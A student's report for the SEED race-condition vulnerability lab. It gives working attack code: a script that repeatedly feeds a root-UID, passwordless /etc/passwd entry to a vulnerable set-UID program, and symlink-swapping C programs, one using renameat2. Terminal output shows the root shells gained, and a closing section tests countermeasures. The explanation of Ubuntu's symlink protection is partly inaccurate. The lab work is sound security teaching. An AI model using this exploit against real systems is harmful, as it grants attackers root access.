James Stockwell
CS 574

Race Condition Vulnerability Lab

Environment Setup

```
[11/08/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo sysctl -w fs.protected_symlinks=0
fs.protected_symlinks = 0
[11/08/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo sysctl fs.protected_regular=0
fs.protected_regular = 0
[11/08/24]seed@VM:~/.../James_Stockwell_Lab4$ gcc vulp.c -o vulp
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo chown root vulp
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo chmod 4755 vulp
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$
```

Before we start the tasks we need to disable Ubuntu's built in protection against race condition attacks and compile our vulnerable source code as a set-UID program.

Lab Tasks

Task 1: Choosing Our Target

The goal of this attack is to add a new entry to the /etc/passwd file. This entry will add a new user to the system with root permissions and no password, allowing us to do whatever we want. As a proof of concept we will manually add this entry with sudo privileges to show its effectiveness.

Observations:

```
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ tail /etc/passwd
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$
```

Here is the modified /etc/passwd file with "test" being our root privileged user with no password.

```
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ su test
Password:
root@VM:.../James_Stockwell_Lab4#
```

With the test user now in the passwd file we can now easily switch to a root privileged user without a password.

```
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo vim /etc/passwd
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ tail /etc/passwd
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$
```

The test user is then removed for the future tasks.

```
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo cp /etc/passwd /etc/passwd.backup
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ ls /etc | grep passwd
passwd
passwd-
passwd.backup
```

In case the passwd file gets wiped during this lab, I made a backup copy to restore from so I can still log into my machine.

Task 2: Launching the Race Condition Attack

Now we conduct a few versions of the race condition attack.

Task 2.A: Simulating a Slow Machine

For our first attack we will actually modify the vulnerable program slightly to simulate a very slow machine. This will give us a long enough window to perform our race condition attack manually.

Observations:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
//Edited by James Stockwell
int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;

    /* get user input */
    scanf("%50s", buffer);

    if (!access(fn, W_OK)) {
        sleep(10);      //Added slow machine simulation
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }

    return 0;
}
```

Here is the modified program. I added a sleep(10) call between the access() check and the open() call.

```
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ vim vulp.c
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ gcc vulp.c -o vulp
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo chown root vulp
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo chmod 4755 vulp
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$
```

We need to recompile it to account for the new code.

```
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ touch /tmp/XYZ
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ vulp
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ su test
Password:
root@VM:.../James_Stockwell_Lab4#
```

```
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ ln -sf /etc/passwd /tmp/XYZ
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ tail /etc/passwd
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

test:U6aMy0wojraho:0:0:test:/root:/bin/bash[11/09/24]seed@VM:~/.../James_St
ockwell_Lab4$
```

Here is a successful execution of the attack. For this I used to separate terminals, each captured in its own screenshot. In the first terminal, a blank /tmp/XYZ file is made for the program to read, the program is then run and given our desired user entry as input. While the program is waiting the 10 seconds we wrote into it, I switch over to the second terminal and make /tmp/XYZ/ a link with /etc/passwd.

After the 10 second delay is finished, I check the end of the /etc/passwd file and find that it has been modified as we wanted it to. Going back to the first terminal I'm able to su into the new user.

Task 2.B: The Real Attack

Now we try an attack without the artificial delay in the program. As the window to cause the race condition is very small, we will need to use automation to run the program and attack repeatedly.

Observations:

```
#!/bin/bash
# Edited by James Stockwell
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
   echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp
   new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
```

This is the target_process.sh script which will repeatedly call the vulnerable program and feed it the information for our test user. It stops once it detects /etc/passwd has been modified.

```
//Made by James Stockwell
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(){
        while(1){
                unlink("/tmp/XYZ");
                symlink("/etc/passwd","/tmp/XYZ");

        }
        return 0;
}
```

This is the attack C program I wrote to cause the race condition. It runs on an infinite loop and repeatedly unlinks and relinks /tmp/XYZ to /etc/passwd.

```
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ target_process.sh
No permission
No permission
No permission
```

```
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ attack
```

For the attack I ran both the target_process script and attack program in separate windows.

```
No permission
gg^[[A^C
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ rm /tmp/XYZ
rm: cannot remove '/tmp/XYZ': Operation not permitted
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo rm /tmp/XYZ
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ target_process.sh
No permission
No permission
```

Several times I had to remove the /tmp/XYZ file and restart the target_process script several times due to it stalling. This is due to a flaw in the attack program that could lead to an order of execution that would make /tmp/XYZ a root owned file and inaccessible to the program.

```
No permission
STOP... The passwd file has been changed
[11/09/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo tail /etc/passwd
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

test:U6aMy0wojraho:0:0:test:/root:/bin/bash[11/09/24]seed@VM:~/.../James_Stockwe
ll_Lab4$ su test
Password:
root@VM:.../James_Stockwell_Lab4#
```

After a few attempts I managed to get a successful attack.

Task 2.C: An Improved Attack Method

To solve the issue of the race condition causing the attack to stall, we rewrite the attack program to make the unlinking and linking processes atomic. More accurately, we define two links before the loop and then switch them within the loop.

```c
//Made by James Stockwell
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main(){
        unsigned int flags = RENAME_EXCHANGE;

        unlink("/tmp/XYZ"); symlink("/dev/null",   "/tmp/XYZ");
        unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
        while(1){
                renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
        }
        return 0;

}
```

Here is the new attack program.

```
No permission
STOP... The passwd file has been changed
[11/10/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo tail /etc/passwd
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

test:U6aMy0wojraho:0:0:test:/root:/bin/bash[11/10/24]seed@VM:~/.../James_Stockwell_Lab4$ su test
Password:
root@VM:.../James_Stockwell_Lab4#
```

Keeping everything else the same, running the attack is now successful without stalling.

Task 3: Countermeasures

Now we test out two different ways to counteract this attack.

Task 3.A: Applying the Principle of Least Privilege

To create a more secure version of the vulnerable program we rewrite it using the principle of least privilege.

Observations:

```c
#include <unistd.h>
//Edited by James Stockwell
int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;

    /* get user input */
    scanf("%50s", buffer);

    uid_t real_uid = getuid();
    uid_t eff_uid = geteuid();

    seteuid(real_uid); //Drop root prvileges

    fp = fopen(fn, "a+");
    if (!fp) {
        perror("Permission denied");
        exit(1);
    }
    fwrite("\n", sizeof(char), 1, fp);
    fwrite(buffer, sizeof(char), strlen(buffer), fp);
    fclose(fp);

    seteuid(eff_uid); //Give back root privleges

    return 0;
}
```

This is a new version of the vulnerable program. Instead of using the access() command to check for privilege we instead use setuid() to drop and give privilege as needed.

```
[11/10/24]seed@VM:~/.../James_Stockwell_Lab4$ gcc vulp_edit.c -o vulp
[11/10/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo chown root vulp
[11/10/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo chmod 4755 vulp
[11/10/24]seed@VM:~/.../James_Stockwell_Lab4$
```

```
[11/10/24]seed@VM:~/.../James_Stockwell_Lab4$ rm /tmp/ABC
[11/10/24]seed@VM:~/.../James_Stockwell_Lab4$ rm /tmp/XYZ
[11/10/24]seed@VM:~/.../James_Stockwell_Lab4$ target_process.sh
Permission denied
: Permission denied
```

We recompile it for the test, remove the links and start both the script and the program for the attack again.

```
Permission denied
: Permission denied
Permission denied
: Permission denied
^C
[11/10/24]seed@VM:~/.../James_Stockwell_Lab4$
```

Previously the attack would work for me in only a few seconds, now after running for several minutes the attack does not go through

Task 3.B: Using Ubuntu's Built-in Scheme

This time we test Ubuntu's built in protection against race condition attacks.

Observations:

```
[11/11/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo sysctl -w fs.protected_symlinks=1
fs.protected_symlinks = 1
[11/11/24]seed@VM:~/.../James_Stockwell_Lab4$ gcc vulp.c -o vulp
[11/11/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo chown root vulp
[11/11/24]seed@VM:~/.../James_Stockwell_Lab4$ sudo chmod 4755 vulp
[11/11/24]seed@VM:~/.../James_Stockwell_Lab4$ target_process.sh
```

We enable the protection and run the attack again with the original vulnerable file.

```
No permission
No permission
Open failed: Permission denied
^C
[11/11/24]seed@VM:~/.../James_Stockwell_Lab4$
```

As with the last counter measure. The attack is unable to open the /etc/passwd file even after several minutes.

The Ubuntu protection is known as sticky symlink protection. It only allows symbolic links to be made if the process making them has a matching EUID to the file being linked to. This prevents our attack from working as now the link we changed will now never be opened by a normal user.

The limits of this protection are that it only prevents race conditions involving symbolic links. Other race conditions that use other vectors like the dirty COW attack, then this protection won't do anything.